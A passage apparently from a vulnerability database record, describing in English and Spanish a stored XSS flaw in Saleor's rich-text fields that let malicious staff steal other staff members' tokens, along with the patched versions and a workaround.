Starting in version 3.0.0 and prior to versions 3.20.108, 3.21.43, and 3.22.27, Saleor was allowing users to modify rich text fields with HTML without running any backend HTML cleaners thus allowing malicious actors to perform stored XSS attacks on dashboards and storefronts. Malicious staff members could craft script injections to target other staff members, possibly stealing their access and/or refresh tokens. This issue has been patched in versions 3.22.27, 3.21.43, and 3.20.108. In case of inability to upgrade straight away, a possible workaround is to use client-side cleaner."}, {"lang": "es", "value": "Saleor es una plataforma de comercio electrónico. A partir de la versión 3.0.0 y antes de las versiones 3.20.108, 3.21.43 y 3.22.27, Saleor permitía a los usuarios modificar campos de texto enriquecido con HTML sin ejecutar ningún limpiador HTML de backend, lo que permitía a actores maliciosos realizar ataques de XSS almacenado en paneles de control y escaparates. Miembros del personal maliciosos podían crear inyecciones de scripts para atacar a otros miembros del personal, posiblemente robando sus tokens de acceso y/o de actualización. Este problema ha sido parcheado en las versiones 3.22.27, 3.21.43 y 3.20.108.
